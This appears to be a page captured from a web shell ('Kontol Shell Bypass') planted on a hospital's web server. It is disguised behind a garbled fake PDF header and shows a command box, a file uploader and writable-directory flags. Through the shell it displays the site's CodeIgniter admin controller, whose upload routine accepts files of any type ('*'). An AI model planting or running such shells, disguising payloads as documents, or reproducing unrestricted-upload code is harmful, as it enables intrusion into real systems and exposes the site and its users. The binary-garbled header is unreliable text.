%PDF- <> %âãÏÓ endobj 2 0 obj <> endobj 3 0 obj <>/ExtGState<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI] >>/Annots[ 28 0 R 29 0 R] /MediaBox[ 0 0 595.5 842.25] /Contents 4 0 R/Group<>/Tabs/S>> endobj ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<> endobj 2 0 obj<>endobj 2 0 obj<>es 3 0 R>> endobj 2 0 obj<> ox[ 0.000000 0.000000 609.600000 935.600000]/Fi endobj 3 0 obj<> endobj 7 1 obj<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI]>>/Subtype/Form>> stream

nadelinn - rinduu

Command :

ikan Uploader :
Directory :  /var/www/html/shardahospital.org/application/controllers/admin/
Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 
Current File : /var/www/html/shardahospital.org/application/controllers/admin/Department.php
<?php
defined('BASEPATH') OR exit('No direct script access allowed');

class Department extends CI_Controller {

	/**
	 * Index Page for this controller.
	 *
	 * Maps to the following URL
	 * 		http://example.com/index.php/welcome
	 *	- or -
	 * 		http://example.com/index.php/welcome/index
	 *	- or -
	 * Since this controller is set as the default controller in
	 * config/routes.php, it's displayed at http://example.com/
	 *
	 * So any other public methods not prefixed with an underscore will
	 * map to /index.php/welcome/<method_name>
	 * @see https://codeigniter.com/user_guide/general/urls.html
	 */
	function __construct() {
        parent::__construct();
        
        if((!isset($_SESSION['is_logged']))||($_SESSION['is_logged']==false))
        {
        	$_SESSION['redirect'] = base_url()."admin/Department/view_departments";
        	
        	redirect(base_url().'admin/login');
        }
	//	redirect_admin_not_logged();
        //$this->load->model('department_type_model', 'types');
        $this->load->model('department_model', 'department');
        $this->load->model('Common_Model');
    }
	
	public function index()
	{
		$this->view_departments();
	}
	
	public function do_upload($field_name, $upload_path= '', $file_name= '')
	{	
		//echo $field_name.'//'.$upload_path.'//'.$file_name;die();
		if($upload_path!=''){
			$config['upload_path'] = $upload_path;
		}
		else{
			$config['upload_path'] = './uploads';
		}
		$config['allowed_types'] = '*';
		if($file_name!=''){
			$config['file_name'] = $file_name;
		}
		
		$this->load->library('upload', $config);
        $this->upload->initialize($config);
		
		if (!$this->upload->do_upload($field_name)) {
            log_message('error', 'Image Upload Error: ' . $this->upload->display_errors());
        }
        $img = $this->upload->data();
		
		// if(!empty($img['file_name'])) {
		// 	resizeImage($img['file_name'],'300','300','attachments/awards_images');
		// }
		
        return $img['file_name'];

	}
	
	public function add_department($id=0)
	{
		
		$data = array();
		$data['data_string'] = '';
		$departmentID = $id;
		
		echo '<script>console.log("add department")</script>';
		
		if($id){
		
			$records = $this->department->get_Department($id);
			
			echo '<script>console.log("update department")</script>';
			
			if(!$records){
				
				show_404();
				
			}
			else{
				
				$data = array(
					'DepartmentID' => $records['DepartmentID'],
					'DepartmentName' => $records['DepartmentName'],
					'DepartmentType' => $records['DepartmentType'],
					'DepartmentParentID' => $records['DepartmentParentID'],
					'DepartmentOverview' => $records['DepartmentOverview'],
					'DepartmentInfrastructure' => $records['DepartmentInfrastructure'],
					'DepartmentFacilities' => $records['DepartmentFacilities'],
					'DepartmentServices' => $records['DepartmentServices'],
					'DepartmentAchievements' => $records['DepartmentAchievements'],
					'DepartmentHighlights' => $records['DepartmentHighlights'],
					'DepartmentThumbnail' => $records['DepartmentThumbnail'],
					'DepartmentIcon' => $records['DepartmentIcon'], 
					'DepartmentBanner' => $records['DepartmentBanner'],
					'DepartmentPriorityOrder' => $records['DepartmentPriorityOrder'],
					'Status' => $records['Status'],
					//'DepartmentPageURL' => replace_slug_chars($records['DepartmentPageURL'])
					'DepartmentPageURL' => valid_seo_friendly_url($records['DepartmentPageURL'])
				); 
				
			}

		}
		
		$post=$this->input->post();
		
		if($post){	
			
			echo '<script>console.log("post")</script>';
			
			$this->form_validation->set_rules('DepartmentName', 'Department Name', 'required');
			$this->form_validation->set_rules('DepartmentType', 'Department Type', 'required');
			$this->form_validation->set_rules('DepartmentOverview', 'Department Overview', 'required');
//			$this->form_validation->set_rules('profile_pic', 'Profile Picture','required'); 
			
			if ($this->form_validation->run() == FALSE)
            {
            		echo '<script>console.log("Error in validating doctor")</script>'; //console.log("Error in validating doctor");
  		            $this->load->view('admin/addDepartment');
            }
			else
			{
				
				$icon ='';
				$banner = '';
				$thumbnail = '';
				
				if($_FILES['icon']['name']){
					$icon = $this->do_upload('icon', './uploads/department', 'dep_icon_'.valid_seo_friendly_url($post['DepartmentPageURL']));
					$data['error'] = array('error' => $this->upload->display_errors());	
				}
				if($_FILES['banner']['name']){
					$banner = $this->do_upload('banner', './uploads/department', 'dep_bn_'.valid_seo_friendly_url($post['DepartmentPageURL']));
					$data['error'] = array('error' => $this->upload->display_errors());	
				}
				if($_FILES['thumbnail']['name']){
					$thumbnail = $this->do_upload('thumbnail', './uploads/department', 'dep_bn_'.valid_seo_friendly_url($post['DepartmentPageURL']));
					$data['error'] = array('error' => $this->upload->display_errors());
	
				}
				
				if((($_FILES['icon']['name'])&&(!$icon)) || (($_FILES['banner']['name'])&&(!$banner)) || (($_FILES['thumbnail']['name'])&&(!$thumbnail))){
					echo '<script>console.log("fail upload")</script>';
					$this->load->view('admin/AddDepartment',$data);
				}
				else{
					if(isset($post['DepartmentID'])){
						$departmentID = $post['DepartmentID'];
					}
				
					$insert_data = array(	
						'DepartmentName' => $post['DepartmentName'],
						'DepartmentType' => $post['DepartmentType'],
						'DepartmentParentID' => $post['DepartmentParentID'],
						'DepartmentOverview' => $post['DepartmentOverview'],
						'DepartmentInfrastructure' => $post['DepartmentInfrastructure'],
						'DepartmentFacilities' => $post['DepartmentFacilities'],
						'DepartmentServices' => $post['DepartmentServices'],
						'DepartmentAchievements' => $post['DepartmentAchievements'],
						'DepartmentHighlights' => $post['DepartmentHighlights'],
						'Status' => $post['Status'],
						'DepartmentPageURL' => valid_seo_friendly_url($post['DepartmentPageURL']),	
						'DepartmentPriorityOrder' => $post['DepartmentPriorityOrder'],
					);
					
					if($thumbnail!=''){
						$insert_data['DepartmentThumbnail'] = $thumbnail;
					}
					
					if($icon!=''){
						$insert_data['DepartmentIcon'] = $icon;
					}
					
					if($banner!=''){
						$insert_data['DepartmentBanner'] = $banner;
					}
				
					$success = '';	
					$msg='';
					 echo '<script>console.log("'.$departmentID.'")</script>';
					if($departmentID){
						$success = $this->department->update_department($insert_data,$departmentID);
						
					}
					else{
						
						$success = $this->department->insert_department($insert_data);
						
						echo '<script>console.log("'.$success.'")</script>';
					}			
				
					if($success){
						
						redirect(base_url()."admin/Department/view_departments");

					}
					
				}
			}
       			
		}
		
		$data['department_types'] = $this->Common_Model->getCommonQuery('SH_DepartmentTypes');
		$data['coe'] = $this->department->get_departments('DepartmentID,DepartmentName', array('COE'));
		
		$this->load->view('admin/AddDepartment',$data);
	}
	
	
	public function update_department($id){
	
		$this->add_department($id);
	}
	
	
	public function view_department($id=0)
	{
		
		$data = array();
		$data['data_string'] = '';
		
		if($id){
		
			$data = $this->doctor->get_doctors();
			
			if(!$records){
				
				show_404();
				
			}
			else{

				$data = array(
					'DepartmentID' => $records['DepartmentID'],
					'DepartmentName' => $records['DepartmentName'],
					'DepartmentType' => $records['DepartmentType'],
					'DepartmentParentID' => $records['DepartmentParentID'],
					'DepartmentOverview' => $records['DepartmentOverview'],
					'DepartmentInfrastructure' => $records['DepartmentInfrastructure'],
					'DepartmentFacilities' => $records['DepartmentFacilities'],
					'DepartmentServices' => $records['DepartmentServices'],
					'DepartmentAchievements' => $records['DepartmentAchievements'],
					'DepartmentHighlights' => $records['DepartmentHighlights'],
					'DepartmentThumbnail' => $records['DepartmentThumbnail'],
					'DepartmentIcon' => $records['DepartmentIcon'], 
					'DepartmentBanner' => $records['DepartmentBanner'],
					'DepartmentPriorityOrder' => $records['DepartmentPriorityOrder'],
					'Status' => $records['Status'],
					'DepartmentPageURL' => $records['DepartmentPageURL']
				); 
				
			}

		}
		
		
		
		$this->load->view('admin/ViewDepartment',$data);
	}
	
	public function view_departments()
	{
		
		$data = array();
		$data['records'] = $this->department->get_departments();
			
		if(!$data){
			show_404();
		}
				
		$this->load->view('admin/ViewDepartments',$data);
	}
	
	public function remove_department($id)
	{
		
		$data = array();
		
		if($this->department->has_dependency($id)){
			$data['msg'] = 'Department Could not be deleted. Deleted dependencies (Sub-departments/Doctors/Health Conditions/Patient Story) first';
		}
		else{
			if($this->department->delete_department($id)){
				$data['msg'] = 'Department deleted succesfully';
			}
			else{
				$data['msg'] = 'Department could not be deleted';
			}
		}	
		
		$data['records'] = $this->department->get_departments();
			
		if(!$data){
			show_404();
		}
				
		$this->load->view('admin/ViewDepartments',$data);
	}
	
	
}

Kontol Shell Bypass